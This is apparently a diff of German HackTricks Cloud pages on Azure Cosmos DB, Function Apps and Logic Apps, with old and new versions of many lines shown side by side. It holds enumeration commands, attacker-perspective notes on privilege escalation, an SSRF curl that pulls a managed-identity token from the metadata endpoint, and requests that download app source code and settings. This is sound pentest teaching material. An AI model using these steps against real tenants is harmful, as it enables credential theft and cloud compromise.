* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Persistenz
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
{% endcontent-ref %}
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View File

@@ -17,9 +17,9 @@ Lernen & üben Sie GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1)
## Azure CosmosDB
**Azure Cosmos DB** ist eine vollständig **verwaltete NoSQL-, relationale und Vektordatenbank**, die Reaktionszeiten im einstelligen Millisekundenbereich, automatische Skalierbarkeit und SLA-gestützte Verfügbarkeit mit Unternehmenssicherheit bietet. Es ermöglicht eine schnellere Anwendungsentwicklung durch schlüsselfertige, mehrregionale Datenverteilung, Open-Source-APIs, SDKs für beliebte Sprachen und KI-Datenbankfunktionen wie integrierte Vektorsupport und nahtlose Azure KI-Integration.
**Azure Cosmos DB** ist eine vollständig **verwaltete NoSQL-, relationale und Vektordatenbank**, die Reaktionszeiten im einstelligen Millisekundenbereich, automatische Skalierbarkeit und SLA-gestützte Verfügbarkeit mit Unternehmenssicherheit bietet. Es ermöglicht eine schnellere Anwendungsentwicklung durch schlüsselfertige, mehrregionale Datenverteilung, Open-Source-APIs, SDKs für beliebte Programmiersprachen und KI-Datenbankfunktionen wie integrierte Vektorsupport und nahtlose Azure KI-Integration.
Azure Cosmos DB bietet mehrere Datenbank-APIs, um reale Daten mit Dokumenten, relationalen, Schlüssel-Wert-, Graph- und Spaltenfamilien-Datenmodellen zu modellieren. Diese APIs sind NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin und Table.
Azure Cosmos DB bietet mehrere Datenbank-APIs, um reale Daten mit Dokumenten, relationalen, Schlüssel-Wert-, Graph- und Spaltenfamilien-Datenmodellen zu modellieren, wobei diese APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin und Table sind.
Ein wichtiger Aspekt von CosmosDB ist das Azure Cosmos-Konto. **Azure Cosmos-Konto** fungiert als Einstiegspunkt zu den Datenbanken. Das Konto bestimmt wichtige Einstellungen wie globale Verteilung, Konsistenzstufen und die spezifische API, die verwendet werden soll, wie z.B. NoSQL. Über das Konto können Sie die globale Replikation konfigurieren, um sicherzustellen, dass Daten in mehreren Regionen für einen latenzarmen Zugriff verfügbar sind. Darüber hinaus können Sie eine Konsistenzstufe wählen, die zwischen Leistung und Datenakkuratheit balanciert, mit Optionen von starker bis eventualer Konsistenz.
@@ -131,7 +131,7 @@ Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -A
#### Verbindung
Um die azure-cosmosDB (pip install azure-cosmos) Bibliothek zu verbinden, sind der Endpunkt und der Schlüssel entscheidende Komponenten, um die Verbindung herzustellen.
Um die azure-cosmosDB (pip install azure-cosmos) zu verbinden, wird die Bibliothek benötigt. Darüber hinaus sind der Endpunkt und der Schlüssel entscheidende Komponenten, um die Verbindung herzustellen.
{% code overflow="wrap" %}
```python
from azure.cosmos import CosmosClient, PartitionKey
@@ -212,7 +212,7 @@ mongodb://<hostname>:<port>/<database>
{% endcode %}
#### Datenbanken
In MongoDB können Sie eine oder mehrere Datenbanken innerhalb einer Instanz erstellen. Jede Datenbank dient als logische Gruppierung von Sammlungen und bietet eine Grenze für die Organisation und Verwaltung von Ressourcen. Datenbanken helfen, Daten logisch zu trennen und zu verwalten, beispielsweise für verschiedene Anwendungen oder Projekte.
In MongoDB können Sie innerhalb einer Instanz eine oder mehrere Datenbanken erstellen. Jede Datenbank dient als logische Gruppierung von Sammlungen und bietet eine Grenze für die Organisation und Verwaltung von Ressourcen. Datenbanken helfen, Daten logisch zu trennen und zu verwalten, beispielsweise für verschiedene Anwendungen oder Projekte.
#### Sammlungen
Die zentrale Einheit der Datenspeicherung in MongoDB ist die Sammlung, die Dokumente enthält und für effizientes Abfragen und flexibles Schema-Design konzipiert ist. Sammlungen sind elastisch skalierbar und können hochgradig durchsatzstarke Operationen über mehrere Knoten in einer verteilten Umgebung unterstützen.
@@ -247,7 +247,6 @@ az cosmosdb mongodb collection list --account-name <AccountName> --database-name
az cosmosdb mongodb role definition list --account-name <AccountName> --resource-group <ResourceGroupName>
# List all user definitions for MongoDB within an Azure Cosmos DB account
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
@@ -291,7 +290,7 @@ Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupNa
#### Verbindung
Hier können Sie das Passwort mit den Schlüsseln oder mit der im Privesc-Abschnitt beschriebenen Methode finden.
Hier das Passwort, das Sie mit den Schlüsseln oder mit der im Privesc-Abschnitt beschriebenen Methode finden können.
{% code overflow="wrap" %}
```python
from pymongo import MongoClient
@@ -362,7 +361,7 @@ Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png"
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
</details>
{% endhint %}

View File

@@ -4,27 +4,27 @@
## Grundinformationen
**Azure Function Apps** sind ein **serverloser Compute-Dienst**, der es Ihnen ermöglicht, kleine Codeabschnitte, die als **Funktionen** bezeichnet werden, auszuführen, ohne die zugrunde liegende Infrastruktur zu verwalten. Sie sind so konzipiert, dass sie Code als Reaktion auf verschiedene Trigger ausführen, wie z.B. **HTTP-Anfragen, Timer oder Ereignisse von anderen Azure-Diensten** wie Blob Storage oder Event Hubs. Function Apps unterstützen mehrere Programmiersprachen, darunter C#, Python, JavaScript und Java, was sie vielseitig für den Aufbau von **ereignisgesteuerten Anwendungen**, die Automatisierung von Workflows oder die Integration von Diensten macht. Sie sind kosteneffektiv, da Sie normalerweise nur für die Rechenzeit bezahlen, die verwendet wird, wenn Ihr Code ausgeführt wird.
**Azure Function Apps** sind ein **serverloser Compute-Service**, der es Ihnen ermöglicht, kleine Codeabschnitte, die als **Funktionen** bezeichnet werden, auszuführen, ohne die zugrunde liegende Infrastruktur zu verwalten. Sie sind so konzipiert, dass sie Code als Reaktion auf verschiedene Trigger ausführen, wie z.B. **HTTP-Anfragen, Timer oder Ereignisse von anderen Azure-Diensten** wie Blob Storage oder Event Hubs. Function Apps unterstützen mehrere Programmiersprachen, darunter C#, Python, JavaScript und Java, was sie vielseitig für den Aufbau von **ereignisgesteuerten Anwendungen**, die Automatisierung von Workflows oder die Integration von Diensten macht. Sie sind kosteneffektiv, da Sie normalerweise nur für die Rechenzeit bezahlen, die verwendet wird, wenn Ihr Code ausgeführt wird.
> [!HINWEIS]
> [!NOTE]
> Beachten Sie, dass **Funktionen eine Teilmenge der App-Dienste sind**, daher werden viele der hier besprochenen Funktionen auch von Anwendungen verwendet, die als Azure Apps (`webapp` in cli) erstellt wurden.
### Verschiedene Pläne
- **Flex Consumption Plan**: Bietet **dynamisches, ereignisgesteuertes Skalieren** mit einer Bezahlung nach Nutzung, wobei Funktionsinstanzen je nach Bedarf hinzugefügt oder entfernt werden. Es unterstützt **virtuelles Networking** und **vorab bereitgestellte Instanzen**, um Kaltstarts zu reduzieren, was es für **variable Workloads** geeignet macht, die keine Containerunterstützung benötigen.
- **Flex Consumption Plan**: Bietet **dynamisches, ereignisgesteuertes Skalieren** mit einer Pay-as-you-go-Preismodell, das das Hinzufügen oder Entfernen von Funktionsinstanzen basierend auf der Nachfrage ermöglicht. Es unterstützt **virtuelles Networking** und **vorab bereitgestellte Instanzen**, um Kaltstarts zu reduzieren, was es für **variable Workloads** geeignet macht, die keine Containerunterstützung benötigen.
- **Traditional Consumption Plan**: Die Standard-Serverless-Option, bei der Sie **nur für Rechenressourcen bezahlen, wenn Funktionen ausgeführt werden**. Es skaliert automatisch basierend auf eingehenden Ereignissen und umfasst **Optimierungen für Kaltstarts**, unterstützt jedoch keine Containerbereitstellungen. Ideal für **intermittierende Workloads**, die automatisches Skalieren erfordern.
- **Premium Plan**: Entwickelt für **konstante Leistung**, mit **vorwärmenden Arbeitern**, um Kaltstarts zu eliminieren. Es bietet **erweiterte Ausführungszeiten, virtuelles Networking** und unterstützt **benutzerdefinierte Linux-Images**, was es perfekt für **geschäftskritische Anwendungen** macht, die hohe Leistung und erweiterte Funktionen benötigen.
- **Dedicated Plan**: Läuft auf dedizierten virtuellen Maschinen mit **vorhersehbarer Abrechnung** und unterstützt manuelles oder automatisches Skalieren. Es ermöglicht das Ausführen mehrerer Apps im selben Plan, bietet **Rechenisolierung** und gewährleistet **sicheren Netzwerkzugang** über App Service Environments, was es ideal für **langfristige Anwendungen** macht, die eine konsistente Ressourcenzuteilung benötigen.
- **Container Apps**: Ermöglicht das Bereitstellen von **containerisierten Funktions-Apps** in einer verwalteten Umgebung, zusammen mit Microservices und APIs. Es unterstützt benutzerdefinierte Bibliotheken, die Migration von Legacy-Apps und **GPU-Verarbeitung**, wodurch die Verwaltung von Kubernetes-Clustern entfällt. Ideal für **ereignisgesteuerte, skalierbare containerisierte Anwendungen**.
- **Container Apps**: Ermöglicht das Bereitstellen von **containerisierten Funktions-Apps** in einer verwalteten Umgebung, zusammen mit Mikrodiensten und APIs. Es unterstützt benutzerdefinierte Bibliotheken, die Migration von Legacy-Apps und **GPU-Verarbeitung**, wodurch die Verwaltung von Kubernetes-Clustern entfällt. Ideal für **ereignisgesteuerte, skalierbare containerisierte Anwendungen**.
### **Speicher-Buckets**
Beim Erstellen einer neuen nicht containerisierten Function App (aber mit dem Code zum Ausführen) werden die **Code- und anderen funktionsbezogenen Daten in einem Speicherkonto gespeichert**. Standardmäßig erstellt die Webkonsole für jede Funktion ein neues Konto, um den Code zu speichern.
Darüber hinaus wird der Code im Bucket (in den verschiedenen Formaten, in denen er gespeichert werden kann) geändert, sodass der **Code der App auf den neuen geändert und beim nächsten Aufruf der Funktion ausgeführt wird**.
Darüber hinaus wird der Code im Bucket (in den verschiedenen Formaten, in denen er gespeichert werden kann) geändert, sodass der **Code der App auf den neuen geändert wird und beim nächsten Aufruf der Funktion ausgeführt wird**.
> [!VORSICHT]
> Dies ist aus der Perspektive eines Angreifers sehr interessant, da **Schreibzugriff auf diesen Bucket** es einem Angreifer ermöglichen würde, **den Code zu kompromittieren und Berechtigungen** für die verwalteten Identitäten innerhalb der Function App zu eskalieren.
> [!CAUTION]
> Dies ist aus der Perspektive eines Angreifers sehr interessant, da **Schreibzugriff auf diesen Bucket** einem Angreifer ermöglichen würde, **den Code zu kompromittieren und Berechtigungen** für die verwalteten Identitäten innerhalb der Function App zu eskalieren.
>
> Mehr dazu im **Abschnitt zur Berechtigungseskalation**.
@@ -39,12 +39,12 @@ Bei Verwendung eines HTTP-Triggers:
- Es ist möglich, **Zugriff auf eine Funktion von überall im Internet** zu gewähren, ohne eine Authentifizierung zu verlangen, oder den Zugriff IAM-basiert zu gewähren. Obwohl es auch möglich ist, diesen Zugriff einzuschränken.
- Es ist auch möglich, **Zugriff auf eine Function App von einem internen Netzwerk (VPC)** zu gewähren oder einzuschränken.
> [!VORSICHT]
> Dies ist aus der Perspektive eines Angreifers sehr interessant, da es möglich sein könnte, von einer verwundbaren Funktion, die dem Internet ausgesetzt ist, **auf interne Netzwerke zu pivotieren**.
> [!CAUTION]
> Dies ist aus der Perspektive eines Angreifers sehr interessant, da es möglich sein könnte, **auf interne Netzwerke zu pivotieren** von einer verwundbaren Funktion, die dem Internet ausgesetzt ist.
### **Function App-Einstellungen & Umgebungsvariablen**
Es ist möglich, Umgebungsvariablen innerhalb einer App zu konfigurieren, die sensible Informationen enthalten könnten. Darüber hinaus werden standardmäßig die Umgebungsvariablen **`AzureWebJobsStorage`** und **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (unter anderem) erstellt. Diese sind besonders interessant, da sie **den Kontoschlüssel enthalten, um mit VOLLBERECHTIGUNGEN auf das Speicherkonto zuzugreifen, das die Daten der Anwendung enthält**. Diese Einstellungen sind auch erforderlich, um den Code aus dem Speicherkonto auszuführen.
Es ist möglich, Umgebungsvariablen innerhalb einer App zu konfigurieren, die sensible Informationen enthalten könnten. Darüber hinaus werden standardmäßig die Umgebungsvariablen **`AzureWebJobsStorage`** und **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (unter anderem) erstellt. Diese sind besonders interessant, da sie **den Kontoschlüssel enthalten, um mit VOLLER Berechtigung auf das Speicherkonto zuzugreifen, das die Daten der Anwendung enthält**. Diese Einstellungen sind auch erforderlich, um den Code aus dem Speicherkonto auszuführen.
Diese Umgebungsvariablen oder Konfigurationsparameter steuern auch, wie die Funktion den Code ausführt, zum Beispiel, wenn **`WEBSITE_RUN_FROM_PACKAGE`** existiert, zeigt es die URL an, wo sich der Code der Anwendung befindet.
@@ -60,20 +60,20 @@ Genau wie [**VMs**](vms/index.html) können Funktionen **verwaltete Identitäten
Die **systemzugewiesene** Identität ist eine verwaltete Identität, die **nur die Funktion**, die sie zugewiesen hat, verwenden kann, während die **benutzerzugewiesenen** verwalteten Identitäten verwaltete Identitäten sind, die **von jedem anderen Azure-Dienst verwendet werden können**.
> [!HINWEIS]
> Genau wie bei [**VMs**](vms/index.html) können Funktionen **1 systemzugewiesene** verwaltete Identität und **mehrere benutzerzugewiesene** haben, daher ist es immer wichtig, alle zu finden, wenn Sie die Funktion kompromittieren, da Sie möglicherweise Berechtigungen für mehrere verwaltete Identitäten von nur einer Funktion eskalieren können.
> [!NOTE]
> Genau wie bei [**VMs**](vms/index.html) können Funktionen **1 systemzugewiesene** verwaltete Identität und **mehrere benutzerzugewiesene** haben, daher ist es immer wichtig, zu versuchen, alle zu finden, wenn Sie die Funktion kompromittieren, da Sie möglicherweise Berechtigungen für mehrere verwaltete Identitäten von nur einer Funktion eskalieren können.
>
> Wenn keine systemzugewiesene verwaltete Identität verwendet wird, aber eine oder mehrere benutzerverwaltete Identitäten an eine Funktion angehängt sind, können Sie standardmäßig kein Token erhalten.
Es ist möglich, die [**PEASS-Skripte**](https://github.com/peass-ng/PEASS-ng) zu verwenden, um Tokens von der standardmäßigen verwalteten Identität vom Metadatenendpunkt zu erhalten. Oder Sie könnten sie **manuell** erhalten, wie in:
Es ist möglich, die [**PEASS-Skripte**](https://github.com/peass-ng/PEASS-ng) zu verwenden, um Tokens von der standardmäßigen verwalteten Identität vom Metadaten-Endpunkt zu erhalten. Oder Sie könnten sie **manuell** erhalten, wie in:
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
Beachten Sie, dass Sie einen Weg finden müssen, um **alle verwalteten Identitäten zu überprüfen, die eine Funktion angehängt hat**, da der Metadatenendpunkt **nur die standardmäßige verwenden wird** (siehe den vorherigen Link für weitere Informationen).
Beachten Sie, dass Sie einen Weg finden müssen, um **alle verwalteten Identitäten zu überprüfen, die eine Funktion angehängt hat**, da der Metadaten-Endpunkt **nur die standardmäßige verwenden wird** (siehe den vorherigen Link für weitere Informationen).
## Zugriffsschlüssel
> [!HINWEIS]
> [!NOTE]
> Beachten Sie, dass es keine RBAC-Berechtigungen gibt, um Benutzern den Zugriff auf die Funktionen zu gewähren. Die **Funktionsausführung hängt vom Trigger** ab, der beim Erstellen ausgewählt wurde, und wenn ein HTTP-Trigger ausgewählt wurde, könnte es erforderlich sein, einen **Zugriffsschlüssel** zu verwenden.
Beim Erstellen eines Endpunkts innerhalb einer Funktion mit einem **HTTP-Trigger** ist es möglich, das **Zugriffsschlüssel-Autorisierungsniveau** anzugeben, das erforderlich ist, um die Funktion auszulösen. Drei Optionen sind verfügbar:
@@ -89,14 +89,14 @@ Beim Erstellen eines Endpunkts innerhalb einer Funktion mit einem **HTTP-Trigger
- **Master-Schlüssel:** Der Master-Schlüssel (`_master`) dient als administrativer Schlüssel, der erhöhte Berechtigungen bietet, einschließlich Zugriff auf alle Funktionsendpunkte (ADMIN-Zugriffslevel eingeschlossen). Dieser **Schlüssel kann nicht widerrufen werden.**
- **Systemschlüssel:** Systemschlüssel werden **von bestimmten Erweiterungen verwaltet** und sind erforderlich, um auf Webhook-Endpunkte zuzugreifen, die von internen Komponenten verwendet werden. Beispiele sind der Event Grid-Trigger und Durable Functions, die Systemschlüssel verwenden, um sicher mit ihren jeweiligen APIs zu interagieren.
> [!TIPP]
> [!TIP]
> Beispiel für den Zugriff auf einen Funktions-API-Endpunkt mit einem Schlüssel:
>
> `https://<function_uniq_name>.azurewebsites.net/api/<endpoint_name>?code=<access_key>`
### Basis-Authentifizierung
Genau wie bei App-Diensten unterstützen Funktionen auch die Basis-Authentifizierung, um sich mit **SCM** und **FTP** zu verbinden, um Code mit einem **Benutzernamen und Passwort in einer URL** bereitzustellen, die von Azure bereitgestellt wird. Weitere Informationen dazu finden Sie in:
Genau wie in App-Diensten unterstützen Funktionen auch die Basis-Authentifizierung, um sich mit **SCM** und **FTP** zu verbinden, um Code mit einem **Benutzernamen und Passwort in einer URL** bereitzustellen, die von Azure bereitgestellt wird. Weitere Informationen dazu finden Sie in:
{{#ref}}
az-app-services.md
@@ -192,18 +192,22 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
```
</details>
Darüber hinaus wird eine **Managed Identity** erstellt, damit die Github Action aus dem Repository sich damit bei Azure anmelden kann. Dies geschieht durch die Generierung einer föderierten Berechtigung über die **Managed Identity**, die den **Issuer** `https://token.actions.githubusercontent.com` und den **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>` ermöglicht.
Darüber hinaus wird eine **Managed Identity** erstellt, damit die Github Action aus dem Repository sich damit bei Azure anmelden kann. Dies geschieht durch die Generierung einer föderierten Anmeldeinformation über die **Managed Identity**, die den **Issuer** `https://token.actions.githubusercontent.com` und den **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>` ermöglicht.
> [!CAUTION]
> Daher kann jeder, der dieses Repository kompromittiert, die Funktion und die daran angehängten Managed Identities kompromittieren.
### Containerbasierte Bereitstellungen
Nicht alle Pläne erlauben die Bereitstellung von Containern, aber für die, die es tun, wird die Konfiguration die URL des Containers enthalten. In der API wird die **`linuxFxVersion`** Einstellung etwas wie: `DOCKER|mcr.microsoft.com/...` haben, während in der Webkonsole die Konfiguration die **Bildeinstellungen** anzeigen wird.
Nicht alle Pläne erlauben die Bereitstellung von Containern, aber für die, die es tun, wird die Konfiguration die URL des Containers enthalten. In der API wird die **`linuxFxVersion`**-Einstellung etwas wie `DOCKER|mcr.microsoft.com/...` haben, während in der Webkonsole die Konfiguration die **Bildeinstellungen** anzeigen wird.
Darüber hinaus wird **kein Quellcode im Speicher**-Konto gespeichert, das mit der Funktion verbunden ist, da dies nicht erforderlich ist.
## Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List all the functions
az functionapp list
@@ -249,7 +253,31 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
## Privilegienerweiterung
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.Functions
# Lists all Function Apps in the current subscription or in a specific resource group.
Get-AzFunctionApp -ResourceGroupName <String>
# Displays the regions where Azure Function Apps are available for deployment.
Get-AzFunctionAppAvailableLocation
# Retrieves details about Azure Function App plans in a subscription or resource group.
Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
# Retrieves the app settings for a specific Azure Function App.
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## Privilegieneskalation
{{#ref}}
../az-privilege-escalation/az-functions-app-privesc.md

View File

@@ -30,34 +30,260 @@ Zum Beispiel wird etwas wie dies das Token nicht zurückgeben:
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### Aufzählung
### Hosting-Optionen
{{#tabs }}
{{#tab name="az cli" }}
Es gibt mehrere Hosting-Optionen:
* **Consumption**
- **Multi-tenant**: bietet gemeinsame Rechenressourcen, arbeitet in der öffentlichen Cloud und folgt einem Preismodell pro Operation. Dies ist ideal für leichte und kosteneffektive Workloads.
* **Standard**
- **Workflow Service Plan**: dedizierte Rechenressourcen mit VNET-Integration für Networking und Gebühren pro Workflow-Service-Plan-Instanz. Es ist geeignet für anspruchsvollere Workloads, die mehr Kontrolle erfordern.
- **App Service Environment V3**: dedizierte Rechenressourcen mit vollständiger Isolation und Skalierbarkeit. Es integriert sich auch mit VNET für Networking und verwendet ein Preismodell basierend auf App Service-Instanzen innerhalb der Umgebung. Dies ist ideal für unternehmensgroße Anwendungen, die hohe Isolation benötigen.
- **Hybrid**: entworfen für lokale Verarbeitung und Multi-Cloud-Unterstützung. Es ermöglicht kundenverwaltete Rechenressourcen mit lokalem Netzwerkzugang und nutzt Kubernetes Event-Driven Autoscaling (KEDA).
### Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List
az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
# Get Logic App config
az logic workflow definition show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
# Get service ppal used
az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
```
{{#endtab }}
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
{{#tab name="Az PowerSHell" }}
# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"
# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"
az rest \
--method GET \
--uri "https://examplelogicapp1994.scm.azurewebsites.net/api/functions/admin/download?includeCsproj=true&includeAppSettings=true" \
--headers "Content-Type=application/json"
# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>
# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```bash
Get-Command -Module Az.LogicApp
# List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
# Get info
Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
# Get Logic App config
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Definition | ConvertTo-Json
# Get service ppal used
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
```
{{#endtab }}
{{#endtabs }}
{{#include ../../../banners/hacktricks-training.md}}
# Get details of a specific Logic App workflow run action
Get-AzLogicAppRunAction -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -RunName "<RunName>"
# Get the run history for a specific Logic App
Get-AzLogicAppRunHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
# Get details about triggers for a specific Logic App
Get-AzLogicAppTrigger -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
# Get the callback URL for a specific trigger in a Logic App
Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName "<LogicAppName>" -TriggerName "<TriggerName>"
# Get the history of a specific trigger in a Logic App
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
```
{% endcode %}
{% endtab %}
{% endtabs %}
### Integrationskonten
**Integrationskonten** sind eine Funktion von Azure Logic Apps. Integrationskonten werden verwendet, um unternehmensweite Integrationen zu erleichtern, indem sie erweiterte B2B-Funktionen wie EDI, AS2 und XML-Schema-Management ermöglichen. Integrationskonten sind ein Container in Azure, der die folgenden Artefakte speichert, die für Logic Apps verwendet werden:
* Schemata: Verwaltet XML-Schemata zur Validierung und Verarbeitung von Nachrichten in Ihrem Integrationskonto.
* Maps: Konfigurieren Sie XSLT-basierte Transformationen, um Datenformate innerhalb Ihrer Integrations-Workflows zu konvertieren.
* Assemblies: Verwaltet Integrationskonten-Assemblies, um Logik und Datenverarbeitung zu optimieren.
* Zertifikate: Verwaltet Zertifikate zur Verschlüsselung und Signierung von Nachrichten, um eine sichere Kommunikation zu gewährleisten.
* Partner: Verwaltet Informationen über Handelspartner für B2B-Transaktionen und ermöglicht nahtlose Integrationen.
* Vereinbarungen: Konfigurieren Sie Regeln und Einstellungen für den Austausch von Daten mit Handelspartnern (z. B. EDI, AS2).
* Batch-Konfigurationen: Verwaltet Batch-Verarbeitungs-Konfigurationen, um Nachrichten effizient zu gruppieren und zu verarbeiten.
* RosettaNet PIP: Konfigurieren Sie RosettaNet Partner Interface Processes (PIPs), um die B2B-Kommunikation zu standardisieren.
#### Aufzählung
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>
